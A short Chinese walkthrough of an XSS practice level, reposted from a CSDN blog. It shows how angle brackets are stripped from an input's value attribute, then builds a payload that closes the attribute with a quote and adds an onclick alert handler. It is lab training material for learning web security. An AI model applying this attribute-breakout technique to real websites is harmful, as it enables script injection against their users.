输入框：<script>alert(/qwsn/)</script>
//查看源码，发现：script脚本被写在input标签的value的属性值内，<>被替换为空字符
<input name=keyword value="scriptalert(/qwsn/)/script">
构造payload：闭合value属性，注释input标签，避免使用<>，
" onclick=alert(/qwsn/)//
注意：提交后，点击一下输入框才会提示完成本文为互联网自动采集或经作者授权后发布，本文观点不代表立场，若侵权下架请联系我们删帖处理！文章出自：https://blog.csdn.net/qq_45555226/article/details/104845814